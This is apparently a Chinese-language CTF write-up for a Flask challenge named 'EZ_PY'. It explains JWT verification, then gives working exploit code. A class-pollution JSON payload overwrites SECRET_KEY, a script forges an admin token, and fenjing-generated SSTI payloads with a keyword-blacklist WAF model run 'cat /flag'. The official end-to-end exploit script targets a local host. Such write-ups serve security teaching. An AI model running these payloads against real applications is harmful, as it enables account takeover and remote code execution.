EZ_PY
EZ_PY
前置知识
原型链污染
JWT验证
JWT(JSON Web Token)验证的核心是通过签名确保 Token 未被篡改,同时验证 Token 的合法性(有效期、签发者等),避免身份伪造。
核心验证原理
JWT 由Header.Payload.Signature三段式字符串组成,验证过程围绕这三部分展开,核心是 “签名校验” 和 “内容合法性校验”。
- 验证前的基础处理
服务器接收 Token 后,先按.分割为 Header、Payload、Signature 三部分。
对 Header 和 Payload 分别进行 Base64 解码(注意:Base64 是编码而非加密,可直接解码查看内容)。 - 核心:签名校验(防篡改关键)
签名是 JWT 验证的核心,目的是确认 Token 内容未被修改,且来自合法签发者。
服务器获取本地存储的密钥(如你之前提到的 SECRET_KEY,HS256 算法用对称密钥,RS256 用私钥签名、公钥验证)。
按 Header 中指定的算法(如 HS256),用 “解码后的 Header + 解码后的 Payload + 密钥” 重新计算签名。
将重新计算的签名,与 Token 中的 Signature 部分对比:
若一致:说明 Token 内容未被篡改,且是用合法密钥签发的;
若不一致:直接判定 Token 无效,拒绝访问。 - 辅助:Payload 合法性校验
签名通过后,还需验证 Payload 中的核心字段(按需校验,非强制但必须配置):
exp(过期时间):若当前时间超过 exp,Token 失效;
nbf(生效时间):若当前时间未到 nbf,Token 暂不可用;
iss(签发者):验证是否与服务器预期的签发者一致;
aud(受众):验证 Token 是否是发给当前服务器的。复现
获得token

查看首页源码 提示访问/source目录 给出了网页源代码
重点查看merge函数 发现存在原型链污染
payload :1
2
3
4{"username":"123","password":"123",
"__init__":{
"__globals__":{"app":{"config":{"SECRET_KEY":"123"}}}}
}
发生请求包 注册成功 此时用户123的token 就是用SECRET_KEY=123加密的
登录获得token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6InVzZXIifQ.AJ5MXd3sVRPUTsUOUTiqaPSm0MFiLQnsaVGYPgrleJgtoken伪造
现在已知key 因此jwt的payload可以随意伪造输出eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.7NOlZ6z7CpjuY8xEvrPvDR9wMfuiFh7-KT6t1Ux3yNQ1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import jwt
import time
# 1. 定义 payload(要包含的信息,如用户名、过期时间等)
payload ={
"user":"123",
"role":"admin"
}
# 2. 服务器的密钥(通过漏洞获取的 SECRET_KEY)
secret_key = "123" # 例如通过变量污染拿到的密钥
# 3. 生成 JWT(指定算法,如 HS256)
fake_token = jwt.encode(
payload=payload,
key=secret_key,
algorithm="HS256" # 必须与服务器使用的算法一致
)
print("Token:", fake_token)
访问/protected 说明成功伪造
注入代码 (绕过waf)
注意到 源码此部分filtered_user 即username可以注入代码1
2
3
4
5
6
7
8
9
10
11
12
def protected(current_user, role):
if role != "admin":
return make_response(
f"Access denied: User {current_user} ({role}) does not have sufficient privileges.",
403,
)
filtered_user = waf_filter(current_user)
return render_template_string(
f"Hello, {filtered_user}! You have access to this protected resource."
)
利用fenjing构造payloadhello(_1919.eq[‘_’+’_’+’GLOBALS’.lower()+’_’+’_’].sys.modules[‘o’’s’]‘po’’pen’))‘r’’ead’hacker1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32from fenjing import exec_cmd_payload, config_payload
import logging
# 配置日志级别为INFO,用于输出工具运行信息
logging.basicConfig(level=logging.INFO)
def waf(s: str) -> bool:
"""
模拟WAF过滤规则
:param s: 待检测的字符串(生成的Payload)
:return: 若字符串不包含黑名单内容则返回True,否则返回False
"""
blacklist = [
'class', 'bases', 'subclasses', 'mro', 'globals', 'builtins',
'import', 'eval', 'exec', 'open', 'file', 'read', 'write', 'os',
'subprocess', 'config', 'request', 'session', 'g', 'url_for',
'get_flashed_messages', '{%', '%}', '{#', '#}'
]
# 检查字符串是否不包含任何黑名单关键词
return all(word not in s for word in blacklist)
# 生成执行"cat /flag"命令的Payload,需通过上述WAF过滤
# 注释掉的是执行"ls /"的示例
# shell_payload, _ = exec_cmd_payload(waf, "ls /")
shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
# 替换Payload中的模板标记(注意:此操作可能导致Payload失效,仅为演示)
shell_payload = shell_payload.replace("{{", "hello")
shell_payload = shell_payload.replace("}}", "hacker")
# 输出生成的最终Payload
print(shell_payload)
再利用上面的token伪造 即可
这里贴出官方wp的脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83import requests
import jwt
import json
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level=logging.INFO)
def waf(s: str):
blacklist = [
'class', 'bases', 'subclasses', 'mro', 'globals', 'builtins',
'import', 'eval',
'exec', 'open', 'file', 'read', 'write', 'os', 'subprocess', 'config',
'request',
'session', 'g', 'url_for', 'get_flashed_messages', '{%', '%}', '{#',
'#}'
]
return all(word not in s for word in blacklist)
# shell_payload, _ = exec_cmd_payload(waf, "ls /")
shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
shell_payload = shell_payload.replace("{{", "hello")
shell_payload = shell_payload.replace("}}", "hacker")
HOST = "http://127.0.0.1:55237"
REGISTER_URL = f"{HOST}/register"
LOGIN_URL = f"{HOST}/login"
PROTECTED_URL = f"{HOST}/protected"
def exploit():
session = requests.Session()
register_payload = {
"username": "hacker",
"password": "123",
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "c1432"
}
}
}
}
}
reg_resp = session.post(REGISTER_URL, json=register_payload)
if reg_resp.status_code != 201:
print(f"注册失败: {reg_resp.status_code} - {reg_resp.text}")
return
login_data = {"username": "hacker", "password": "123"}
login_resp = session.post(LOGIN_URL, json=login_data)
if login_resp.status_code != 200:
print(f"登录失败: {login_resp.status_code}")
return
try:
token = login_resp.json().get("token")
except:
print("Token提取失败")
return
forged_token = jwt.encode(
{"user": shell_payload, "role": "admin"},
"c1432",
algorithm="HS256"
)
headers = {"Authorization": f"Bearer {forged_token}"}
protected_resp = session.get(PROTECTED_URL, headers=headers)
if "You have access to this protected resource" in protected_resp.text:
print(protected_resp.text)
else:
print(f"权限验证失败: {protected_resp.status_code}")
print(protected_resp.text)
print(f"shell_payload={shell_payload}")
if __name__ == "__main__":
exploit()






